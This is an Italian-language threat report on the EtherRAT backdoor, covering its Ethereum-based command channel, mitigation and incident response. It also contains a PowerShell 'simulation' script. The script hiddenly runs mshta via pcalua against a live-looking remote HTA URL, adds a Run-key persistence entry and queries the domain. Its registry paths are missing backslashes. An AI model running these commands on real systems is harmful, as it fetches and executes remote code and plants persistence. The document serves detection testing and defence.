EtherRAT & Modulo SYS_INFO: C2 su Ethereum (EtherHiding), Selezione del Target, Beacon Simile a CDN

Riassunto

EtherRAT è una backdoor Node.js che risolve i suoi endpoint di comando e controllo dai smart contract Ethereum utilizzando un approccio “EtherHiding”. Si integra nel normale traffico web modellando i beacon per assomigliare a richieste CDN benigne, concentrandosi su dati di alto valore come portafogli di criptovalute e credenziali cloud. L’accesso iniziale è comunemente guidato da ingegneria sociale in stile ClickFix o esche falso supporto IT che attivano l’esecuzione di HTA malevoli tramite pcalua.exe e mshta.exe.

Indagine

Il Threat Response Unit di eSentire ha osservato una catena di caricamento a più stadi che include un flusso di lavoro di decrittazione AES-256-CBC, persistenza tramite un valore di registro HKCU Run e un modulo SYS_INFO responsabile di un ampio profiling dell’host. EtherRAT si collega a diversi fornitori pubblici di RPC Ethereum per individuare il relativo smart contract, poi deriva URL simili a CDN e li interroga per incarichi e comandi successivi, rafforzando il suo travestimento di “traffico legittimo”.

Mitigazione

Utilizza AppLocker o WDAC per bloccare o controllare rigorosamente pcalua.exe e mshta.exe, e limita la finestra di dialogo Esegui di Windows tramite Group Policy. Laddove possibile, limita o blocca l’accesso all’infrastruttura RPC crypto pubblica nota e attiva un avviso su utilizzi inaspettati di RPC Ethereum da endpoint che non ne hanno bisogno. Implementa controlli degli endpoint che possono rilevare backdoor basate su Node.js e monitorare modelli anomali di beaconing che imitano il comportamento di fetch dei CDN verso domini identificati.

Risposta

Se viene rilevata attività di EtherRAT, isola l’endpoint, termina il processo in esecuzione e rimuove la voce di persistenza HKCU Run insieme a eventuali artefatti scaricati. Effettua una sweep forense completa per confermare che non siano stati messi in scena payload aggiuntivi e ruota le credenziali esposte—dando priorità ai segreti dei portafogli di criptovalute e alle chiavi di servizio cloud. Amplia la ricerca su tutto l’ambiente per consultazioni simili di RPC Ethereum e comportamenti di polling simili a CDN per determinare la potenziale diffusione.

Esecuzione Simulazione

Prerequisito: La Verifica Pre‑volo di Telemetria & Baseline deve essere superata.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente I TTP identificati e mirare a generare esattamente la telemetria attesa dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.

• Narrazione dell’Attacco & Comandi:

  1. Accesso Iniziale – ClickFix Dropper: L’attaccante sfrutta un ClickFix installer malevolo che esegue nascosto cmd.exe che chiama pcalua.exe.
  2. Esecuzione Indiretta: pcalua.exe è istruito ad avviare mshta.exe contro un file HTA remoto ospitato su https://www‑flow‑submission‑management.shepherdsestates.uk/shep.hta. Questo script HTA carica il payload EtherRAT.
  3. Setup della Persistenza: Il dropper aggiunge un Run valore di registro sotto HKCUSoftwareMicrosoftWindowsCurrentVersionRun puntando a una catena di conhost.exe → node.exe esecuzione, assicurando che il malware si avvii al login dell’utente.
  4. Ricognizione di Dominio: In parallelo, un comando PowerShell one‑liner è eseguito per leggere il nome del dominio della macchina, segnalando all’attaccante che l’host è collegato al dominio.

  Tutti e tre i comandi della linea di comando sono eseguiti da un’unica istanza nascosta cmd.exe , corrispondente alla regola Sigma indicatore1/indicatore2 or indicatore3 combinazione.

• Script di Test Regression: Lo script sottostante riproduce esattamente le linee di comando (i percorsi specifici dell’utente sono risolti tramite variabili ambientali).

  # -------------------------------------------------------------
  # Simulazione Accesso Iniziale EtherRAT – wrapper PowerShell
  # -------------------------------------------------------------
  $username = $env:USERNAME
  $htaUrl = "https://www-flow-submission-management.shepherdsestates.uk/shep.hta"
  $runKeyPath = 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun'
  $runValueName = '0c939bf7ae8f'
  $conhostPath = "$env:WINDIRSystem32conhost.exe"
  $nodePath = "C:Users$usernameAppDataLocalVZM5DHxgYbxqnode.exe"
  $payloadBin = "C:Users$usernameAppDataLocalVZM5DHTlHAiIlxoF.bin"
  
  # 1. Indicatore 1 – pcalua -> mshta
  $cmd1 = "C:Windowssystem32cmd.exe /min /c `"pcalua.exe -a mshta.exe -c $htaUrl`""
  Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/min /c `"pcalua.exe -a mshta.exe -c $htaUrl`"" -WindowStyle Hidden
  
  # 2. Indicatore 2 – Chiave di registrazione Run con catena conhost
  $regCommand = "reg add `"HKCUSoftwareMicrosoftWindowsCurrentVersionRun`" /v `"$runValueName`" /t REG_SZ /d `"$conhostPath --headless `"$nodePath`" `"$payloadBin`"`" /f"
  $cmd2 = "C:Windowssystem32cmd.exe /d /s /c `"$regCommand`""
  Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/d /s /c `"$regCommand`"" -WindowStyle Hidden
  
  # 3. Indicatore 3 – Query dominio PowerShell
  $psCommand = "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command `"(Get-WmiObject Win32_ComputerSystem).Domain`""
  $cmd3 = "C:Windowssystem32cmd.exe /d /s /c `"$psCommand`""
  Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/d /s /c `"$psCommand`"" -WindowStyle Hidden
  
  Write-Host "`n[+] Comandi di simulazione emessi. Verifica SIEM per avvisi corrispondenti."

• Comandi di Cleanup: Rimuovi la voce di registro ed elimina eventuali file creati dalla simulazione.

  # -------------------------------------------------------------
  # Cleanup – rimuovi chiavi Run e file temporanei
  # -------------------------------------------------------------
  $runKeyPath = 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun'
  $runValueName = '0c939bf7ae8f'
  
  # Elimina il valore della chiave Run
  if (Test-Path $runKeyPath) {
      Remove-ItemProperty -Path $runKeyPath -Name $runValueName -ErrorAction SilentlyContinue
      Write-Host "[+] Chiave Run di registro $runValueName rimossa"
  }
  
  # Rimuovi eventuali file residui (se creati)
  $paths = @(
      "$env:TEMPbenign.txt"               # dal baseline (opzionale)
  )
  foreach ($p in $paths) {
      if (Test-Path $p) { Remove-Item $p -Force }
  }
  
  Write-Host "[+] Pulizia completata."